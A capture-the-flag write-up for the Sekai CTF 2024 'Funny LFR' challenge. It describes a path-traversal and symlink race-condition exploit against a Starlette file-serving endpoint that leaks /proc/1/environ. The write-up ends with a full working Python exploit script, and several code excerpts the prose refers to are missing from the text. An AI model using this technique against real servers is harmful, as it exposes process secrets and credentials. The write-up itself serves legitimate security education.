“Web/Funny LFR” Race Condition – Sekai CTF 2024 Challenge Write Up | By Shira Toor & Barak Sternberg
Challenge Overview
https://2024.ctf.sekai.team/challenges/#Funny-lfr-14
The challenge provides a dockerfile and a python application – both required to create the web server.
The docker file is short, and contains the following code:
We can immediately understand by looking at the dockerfile code that the flag is kept as a local environment variable.
Another Important detail the dockerfile exposes to us is the infrastructure used by the server – “uvicorn” and “starlette”.
The python application contains the following code:
The challenge provides an SSH interface to the web server container with a different user than the one running the server.
At that point, without performing any tests, we can assume that the web server exposed its file system by using starlette’s ‘FileResponse’ and our goal is to use that to retrieve a file that contains the local environment variables of the web server, which will contain the flag.
Problem
As an initial step, we attempted to retrieve the environment variables by simply setting the file parameter in the url to ‘/etc/environment’ and ‘/proc/self/environ’.
Neither returned the expected results.
Initial approach
Looking at the ‘starlette’ library source code, we found this snippet:
stat_result contains the information collected by executing os.stat with the request file path as parameter.
This snippet made us think the reason the server isn’t giving us the contents of the environ file was that the file is not a regular file.
We figured we need the server to run os.stat on the regular file, but read the contents of a symlink (that points to the environ file).
We then attempted to run a code that exploits a race condition and switches a file path between a regular file and a symlink, that approach proved unsuccessful, and we shifted gears.
Debugging
As part of our attempts to debug the issue, we thought the timing of the race condition might be the issue.
Instead of switching the file path sent to the server between a regular file and a symlink file, we attempted to switch between a regular file and a long chain of symlinks to the environ file, out of the assumption that this will take up time that will allow us to then switch the file path to the symlink just in time.
This ended up not causing an effect on the race.
To understand the reason behind the race being unsuccessful, we used “debugpy” with Visual Studio Code.
This requires adding the following code to the python application:
And modifying launch.py in Visual Studio Code to contain:
Using debugging we managed to understand the issue is with the content length and not the file type, and could then come up with the relevant solution.
Final approach
Looking at the ‘starlette’ source code again, we noticed the following code:
Since files that reside in ProcFS don’t have a “normal” size, the ‘stat_result.st_size’ is set to 0. Based on the code snippet, 0 is set as the response content-length, while the response body is much bigger, which causes the server to return the error message: “Too much data for declared Content-Length”.
Our aim is to somehow confuse ‘starlette’, and cause it to set the size to a large number, and still read the environ file from ProcFS.
Solution
We achieved that confusion is by creating a python script that utilizes a race condition. The idea is to run a script that runs 2 processes in parallel.
Process A Makes a request to the server with the path to “symlink1” as a URL parameter, reads the response and looks for environment variable strings.
Process B Shifts the path to “symlink1” to point to a symlink file chain that leads to the environ file, and then to a regular large file.
To improve the timing of the solution script, and specifically to prevent Process B from taking too long to create and delete the symlink file, we create files pointing to the environ files and files pointing to the regular large file, and we rename them interchangeably to the path sent to the web server.
This reduces the overhead of calling lengthy system calls and causes the race condition to occur faster.
Solution Code
import socket
import os
import time
import multiprocessing
import random
import traceback
################################
# Initialization – Adding nested symlinks in directories to make stat takes longer while switching.
##########################
################################
# Define the number of nested directories
LAST_IND = 20 # Change this value as needed
# Base directory for the creation
base_dir = “/home/”
# Ensure the base directory exists
os.makedirs(base_dir, exist_ok=True)
current_dir = base_dir
# Create the directory structure with symlinks
for i in range(1, LAST_IND + 1):
current_dir = os.path.join(current_dir, f”d{i}”)
next_dir = os.path.join(current_dir, f”d{i + 1}”) if i < LAST_IND else None
# Create the current directory
os.makedirs(current_dir, exist_ok=True)
if next_dir:
symlink_target = os.path.join(next_dir, f”symlink{i + 1}”)
symlink_name = os.path.join(current_dir, f”symlink{i}”)
os.symlink(symlink_target, symlink_name)
else:
# Create the final file “lol” in the last directory
final_file_path = os.path.join(current_dir, “lol”)
with open(final_file_path, ‘w’) as f:
f.write(“X” * 1024)
os.symlink(final_file_path, symlink_target)
# Summary of the creation
print(f”Created {LAST_IND} directories with nested symlinks.”)
print(f”The final file ‘lol’ is located in {os.path.join(base_dir, f’dir{LAST_IND}’)}.”)
################################
# Race Code – gen tmp files to only make one syscall “rename” every time instead of unlink+link.
# Also trigger many concurrent connections to file with size > len(/proc/1/environ/)
##########################
################################
def preprocess(cnt=100000):
tmplinks = []
targets = [‘/home/d1/d2/symlink2’, ‘/proc/1/environ’]
for i in range(cnt):
tmp_sym = os.path.join(‘/home/d1/’, f”tmp_symlink{i}”)
target = targets[i % 2]
os.symlink(target, tmp_sym)
tmplinks.append(tmp_sym)
return tmplinks
def type_a_process():
print(‘pre start sleeping 20 secs’)
time.sleep(20)
fn = f’l{str(random.randint(0,10000))}’
while True:
try:
# Create a socket connection to localhost
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((‘localhost’, 1337)) # Assuming the server is running on port 80
# Send the HTTP GET request
request = b”GET /?file=../../../../home/d1/symlink1 HTTP/1.1\r\nHost: localhost\r\n\r\n”
s.sendall(request)
s.settimeout(1)
# Receive the response
time.sleep(0.00001)
response = s.recv(4096)
response += s.recv(4096)
# Check for undesired strings
if response and ((b’PATH’ in response)):
print(response)
time.sleep(0.00001*random.randint(0,1000))
except Exception as e:
with open(fn, ‘a+’) as log_file:
traceback.print_exc(file=log_file)
continue # Ignore exceptions and continue
def type_b_process():
ttl = 2
firstp = ‘/’.join([‘d%d’ % i for i in range(1, ttl, 1)])
secondp = ‘/’.join([‘d%d’ % i for i in range(1, ttl+1, 1)])
for tmpsym in preprocess():
try:
symlink_path = ‘/home/d1/symlink1’ #% (firstp, ttl-1)
os.rename(tmpsym, symlink_path)
time.sleep(0.0001*random.randint(30,1000)) # Minimal sleep
except Exception as e:
import traceback
traceback.print_exc()
continue # Ignore exceptions and continue
if __name__ == “__main__”:
# Start 5 processes of Type A
for _ in range(20):
p = multiprocessing.Process(target=type_a_process)
p.start()
# Start 1 process of Type B
p = multiprocessing.Process(target=type_b_process)
p.start()
# Join processes to keep the main program running
for p in multiprocessing.active_children():
p.join()